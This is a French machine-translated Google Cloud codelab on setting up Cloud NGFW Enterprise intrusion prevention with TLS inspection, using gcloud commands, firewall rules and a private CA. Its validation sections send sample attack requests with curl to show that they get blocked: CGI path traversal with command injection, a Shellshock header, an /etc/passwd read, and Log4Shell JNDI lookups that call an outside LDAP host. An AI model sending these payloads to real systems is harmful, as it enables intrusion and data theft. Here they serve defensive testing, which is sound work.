Cette page a été traduite par l'API Cloud Translation.

Atelier de programmation Cloud NGFW Enterprise [avec inspection TLS]

1. Introduction

Pare-feu Cloud nouvelle génération (NGFW)

Cloud Next Generation Firewall est un service de pare-feu entièrement distribué offrant des fonctionnalités de protection avancées, une microsegmentation et une couverture omniprésente pour protéger vos charges de travail Google Cloud contre les attaques internes et externes.

Cloud NGFW présente les avantages suivants :

Service de pare-feu distribué: Cloud NGFW fournit une application basée sur l'hôte entièrement distribuée avec état pour chaque charge de travail afin d'offrir une architecture de sécurité zéro confiance.
Configuration et déploiement simplifiés: Cloud NGFW implémente des stratégies de réseau et de pare-feu hiérarchiques pouvant être associées à un nœud de la hiérarchie des ressources. Ces stratégies fournissent une expérience de pare-feu cohérente dans la hiérarchie des ressources Google Cloud.
Contrôle précis et microsegmentation: la combinaison des stratégies de pare-feu et des tags gérés par IAM (Identity and Access Management) offre un contrôle précis pour le trafic Nord-Sud et le trafic Est-Ouest sur une seule VM dans les réseaux de cloud privé virtuel (VPC) et les organisations.

Cloud NGFW est disponible dans les niveaux suivants :

Cloud Next Generation Firewall Essentials
Cloud Next Generation Firewall Standard
Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise ajoute un service de prévention des intrusions (IPS), une fonctionnalité de couche 7, au tissu distribué du pare-feu Google Cloud. L'inspection TLS est prise en charge pour permettre l'inspection du trafic chiffré TLS.

Vous pouvez désormais déployer des inspections NGFW (Next Generation Firewall) de couche 7 fiables avec des commandes précises, sans modifier votre architecture réseau ni vos configurations de routage.

Pour activer et déployer le contrôle du pare-feu de couche 7 avec IPS, vous devez effectuer les tâches suivantes:

Créez un ensemble de points de terminaison de pare-feu zonaux gérés par Google Cloud.
Vous pouvez également créer une règle d'inspection TLS.
Créez éventuellement une configuration de confiance.
Associez ces points de terminaison aux réseaux cloud privé virtuel (VPC) pour lesquels vous avez besoin du service Cloud NGFW Enterprise.
Apportez des modifications simples à vos stratégies et règles de pare-feu existantes pour spécifier les profils de prévention des menaces pour les différents chemins de trafic.

Stratégies de pare-feu réseau

La stratégie de pare-feu réseau sert de conteneur pour les règles de pare-feu. Les règles définies dans une stratégie de pare-feu réseau ne sont appliquées nulle part tant que la stratégie n'est pas associée à un réseau VPC. Chaque réseau VPC peut avoir une stratégie de pare-feu réseau associée. Les stratégies de pare-feu réseau acceptent les tags gérés par IAM (ou simplement des tags) dans les règles de pare-feu, qui remplacent les tags réseau actuels et peuvent être utilisés pour fournir une identité à la charge de travail.

Le partage d'une stratégie de pare-feu réseau entre les réseaux et l'intégration avec les tags gérés par IAM simplifient grandement la configuration et la gestion des pare-feu.

Avec l'introduction de la stratégie de pare-feu réseau, les stratégies de pare-feu de Google Cloud se composent désormais des composants suivants:

Stratégie de pare-feu hiérarchique
Règles de pare-feu VPC
Stratégie de pare-feu réseau ( mondiale et régionale)

Les stratégies de pare-feu hiérarchiques sont prises en charge au niveau des nœuds d'organisation et de dossier de la hiérarchie des ressources, tandis que les règles de pare-feu VPC et les stratégies de pare-feu réseau sont appliquées au niveau du VPC. Les règles de pare-feu VPC et les stratégies de pare-feu réseau présentent une grande différence : les règles de pare-feu VPC ne peuvent être appliquées qu'à un seul réseau VPC, tandis que les stratégies de pare-feu réseau peuvent être associées à un seul VPC ou à un groupe de VPC, entre autres avantages comme les mises à jour par lot.

Enfin, nous avons également les règles de pare-feu implicites qui accompagnent chaque réseau VPC:

Une règle de sortie dont l'action est "allow" et dont la destination est 0.0.0.0/0
Une règle d'entrée dont l'action est "deny", dont la source est 0.0.0.0/0

Par défaut, la séquence d'application est illustrée dans le schéma suivant:

Notez que l'ordre d'application entre les règles de pare-feu VPC et la stratégie de pare-feu réseau mondiale peut être inversé. Les clients peuvent spécifier l'ordre d'application à tout moment à l'aide d'une commande gcloud.

Objectifs de l'atelier

Cet atelier de programmation nécessite un seul projet et la possibilité de créer un réseau VPC, ainsi que de gérer un certain nombre de ressources réseau et de sécurité. Il montre comment Cloud NGFW Enterprise peut fournir des fonctionnalités IPS en:

Inspecter les flux Internet nord-sud avec l'inspection TLS
Inspecter les flux intra-VPC [Est-Ouest] avec l'inspection TLS

Les flux à inspecter seront sélectionnés à l'aide de paramètres de correspondance du pare-feu Cloud, y compris le tuple 5 (adresse IP source, adresse IP de destination, protocole, port source, port de destination) et les tags.

L'état final de la base de règles de la stratégie de pare-feu réseau ressemblera à celui du tableau ci-dessous:

Priorité	Sens	Cible	Source	Destination	Action	Type
100	Entrée	Server_Tag	Vérifications de l'état	Tous	Autoriser	Les indispensables
200	Entrée	Client_Tag, Server_Tag	IAP	Tous	Autoriser	Les indispensables
800	Entrée	Server_Tag	10.0.0.0/24	10.0.0.0/24	Inspection L7	Entreprise
850	Sortie	Client_Tag	Tous	10.0.0.0/24	Autoriser	Les indispensables
900	Sortie	Client_Tag	Tous	Tous	Inspection L7	Entreprise

Points abordés

Créer une stratégie de pare-feu réseau
Créer et utiliser des tags avec une stratégie de pare-feu réseau
Configurer et utiliser Cloud NGFW Enterprise avec inspection TLS

Prérequis

Projet Google Cloud.
Connaissances du déploiement d'instances et de la configuration des composants réseau
Connaissances de la configuration des pare-feu VPC

2. Avant de commencer

Créer/Mettre à jour des variables

Cet atelier de programmation utilise des $variables pour faciliter l'implémentation de la configuration gcloud dans Cloud Shell.

Dans Cloud Shell, exécutez les commandes ci-dessous en remplaçant les informations entre crochets si nécessaire:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Activer les API

Si vous ne l'avez pas déjà fait, activez les API:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Création de points de terminaison Cloud NGFW Enterprise

La création du point de terminaison Cloud NGFW Enterprise prend environ 20 minutes. Il sera donc créé en premier, et la configuration de base pourra être effectuée en parallèle pendant la création du point de terminaison.

Créez le profil de sécurité et le groupe de profils de sécurité:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Résultat attendu :

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

Vérifiez que les ressources ont bien été créées:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Créez le point de terminaison Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Exécutez la commande ci-dessous pour vérifier que le point de terminaison est en cours de création (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Vous pouvez également exécuter la commande ci-dessous pour obtenir plus d'informations:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Résultat attendu :

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Le processus de création prend environ 20 minutes. Passez à la section "Configuration de base" pour créer les ressources requises en parallèle.

5. Configuration de base

Réseau et sous-réseau VPC

Réseau et sous-réseau VPC

Créez le réseau et le sous-réseau VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Créez le routeur Cloud Router et la passerelle Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instances

Créez les instances client et de serveur Web:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Tags au niveau du projet

Attribuez l'autorisation tagAdmin à l'utilisateur si nécessaire:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Créez la clé et les valeurs de tag au niveau du projet:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Associez les tags aux instances:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Stratégie de pare-feu de réseau au niveau mondial

Créez une stratégie de pare-feu réseau au niveau mondial:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Créez les règles Cloud Firewall Essential requises pour autoriser le trafic provenant des plages health-check et identity-aware proxy:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Créez les règles Cloud Firewall requises pour autoriser le trafic entrant est-ouest/intra-sous-réseau à partir des plages spécifiques (ces règles seront mises à jour pour activer Cloud NGFW Enterprise avec inspection TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Associez la stratégie de pare-feu cloud au réseau VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Association de points de terminaison de pare-feu cloud

Définissez les variables d'environnement si vous ne l'avez pas encore fait et/ou si vous préférez l'approche par script.

Vérifiez que la création du point de terminaison du pare-feu cloud a bien été effectuée. Ne continuez que lorsque l'état est ACTIVE (l'état attendu pendant la création est CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Vous pouvez également exécuter la commande ci-dessous pour obtenir plus d'informations:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Résultat attendu :

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Associez le point de terminaison du pare-feu Cloud au réseau VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Le processus d'association prend environ 10 minutes. Ne passez à la section TLS que lorsque l'état indique ACTIVE (lors de la création, l'état attendu est CREATING):

gcloud network-security firewall-endpoint-associations list

Résultat attendu à la fin:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Vous pouvez également exécuter la commande ci-dessous pour obtenir plus d'informations:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Résultat attendu :

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Configurer les ressources TLS

Créez un pool d'autorités de certification. Cette ressource servira à héberger le certificat de l'autorité de certification racine que nous générons pour NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Créez l'autorité de certification racine. Il s'agit du certificat d'autorité de certification qui sera utilisé pour signer des certificats supplémentaires pour les requêtes via NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Si le message ci-dessous s'affiche, répondez y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

Créez un compte de service. Ce compte de service sera utilisé pour demander des certificats pour NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Définissez les autorisations IAM pour le compte de service:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Créez le fichier YAML de la règle TLS. Ce fichier contient des informations sur les ressources spécifiques:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Importez la règle d'inspection TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Mettez à jour l'association de point de terminaison pour activer TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Obtenez le certificat CA et ajoutez-le au magasin de l'autorité de certification du client:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Transférez le certificat CA au client:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Connectez-vous en SSH à la VM, déplacez le certificat CA vers /usr/local/share/ca-certificates et mettez à jour le magasin de CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Quittez la session pour revenir à Cloud Shell.

Processus de signature du certificat de serveur:

Dans Cloud Shell, installez la bibliothèque de cryptographie Pyca à l'aide de la commande pip:

pip install --user "cryptography>=2.2.0"

Pour permettre au SDK Google Cloud d'utiliser la bibliothèque cryptographique Pyca, vous devez activer les packages de site.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Créez le certificat de serveur:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

Un fichier cert.pem et un fichier key.pem sont alors générés dans Cloudshell. Transférez ensuite le certificat et la clé vers le serveur.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Connectez-vous au serveur via SSH pour mettre à jour les informations du certificat pour Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Déplacez le certificat et la clé dans un dossier spécifique:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Mettez à jour la configuration SSL pour utiliser un certificat signé:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Redémarrez Apache:

sudo systemctl restart apache2

Vérifiez l'état d'Apache:

sudo systemctl status apache2

Il doit être actif (en cours d'exécution).

Quittez la VM et poursuivez dans Cloud Shell.

8. Valider la connectivité nord et E/O

Exécutez les commandes ci-dessous dans Cloud Shell et notez les adresses IP cibles à utiliser:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Ouvrez un nouvel onglet et établissez une connexion SSH à la VM cliente via l'API IAP (vous devrez définir les variables dans le nouvel onglet):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Exécutez les commandes ci-dessous et notez les adresses IP cibles à utiliser. Créez les variables en remplaçant les valeurs entre crochets par les adresses IP notées à l'étape précédente et assurez-vous qu'elles sont accessibles:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Accédez à l'adresse IP privée avec Curl et assurez-vous qu'elle est accessible:

curl https://$target_privateip --max-time 2

Résultats attendus pour la requête curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Envoyer des exemples d'attaques à l'adresse IP Le serveur Web doit répondre à toutes les requêtes, ce qui confirme qu'aucune inspection/prévention de niveau L7 n'est en place:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Exemple de résultats attendus (adresse IP privée):

De même, envoyez des requêtes à une destination Internet:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Exemples de résultats attendus (destination Internet):

Quittez le terminal de la VM et revenez à Cloud Shell.

9. Créer et mettre à jour des règles de pare-feu pour l'inspection TLS

Auparavant, nous avons configuré une règle de pare-feu pour autoriser le trafic entrant vers notre serveur à partir du sous-réseau interne. Nous allons maintenant mettre à jour les règles d'entrée existantes et définir l'action sur apply_security_profile_group. L'inspection L7 E/W avec TLS est alors activée:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Créez une règle pour inspecter l'inspection L7 vers le nord avec TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Créez une règle pour autoriser la sortie pour E/W afin d'éviter une double inspection.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

10. Valider l'inspection TLS northbound

Revenez à l'onglet de la VM cliente ou connectez-vous à nouveau:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Envoyez les exemples d'attaques à une destination Internet:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Aucune réponse n'est reçue, comme indiqué dans le résultat attendu ci-dessous, ce qui confirme que les exemples d'attaques sont désormais bloqués:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Définissez la variable sur l'adresse IP du serveur d'avant:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Envoyez des exemples de requêtes TLS au serveur:

curl https://$target_privateip --max-time 2

Résultat attendu :

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Pourquoi cette requête a-t-elle échoué ? En effet, le pare-feu reçoit un certificat du serveur qui n'est pas approuvé. Dans ce cas, un certificat autosigné est renvoyé au client. Nous devons ajouter le certificat de l'autorité de certification dans une configuration de confiance pour activer la confiance.

Revenez à Cloud Shell.

11. Configurer la configuration de confiance

Obtenez le certificat de l'autorité de certification racine et définissez-le en tant que variable avec un formatage approprié.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Configurez le fichier YAML de configuration de confiance. Ce fichier contient des informations de confiance telles que les certificats d'autorité de certification:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Les commandes ci-dessus ont inclus votre certificat d'autorité de certification racine dans le magasin de confiance, car votre certificat de serveur a été signé à l'aide de l'autorité de certification racine. Cela signifie que le pare-feu approuvera tous les certificats qu'il reçoit signés par votre autorité de certification racine, en plus des autorités de certification publiques si la valeur de la règle TLS "excludePublicCaSet" est définie sur "false".

Vérifiez le contenu de la configuration de confiance.

cat trust_config.yaml

Exemple de résultat :

Portez une attention particulière à l'alignement de la mise en retrait du certificat. Il doit respecter ce format exactement.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Importez la configuration de confiance:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Mettez à jour le fichier YAML de la règle TLS pour inclure la configuration de confiance:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Importez la règle TLS mise à jour:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Valider l'inspection TLS E/W

Connectez-vous à nouveau au client via SSH pour tester le trafic E/O avec la configuration de confiance mise à jour:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Exécutez l'exemple de requête TLS vers le serveur:

curl https://$target_privateip --max-time 2

Si vous obtenez toujours le résultat ci-dessous, veuillez attendre que les mises à jour se propagent.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Résultat attendu :

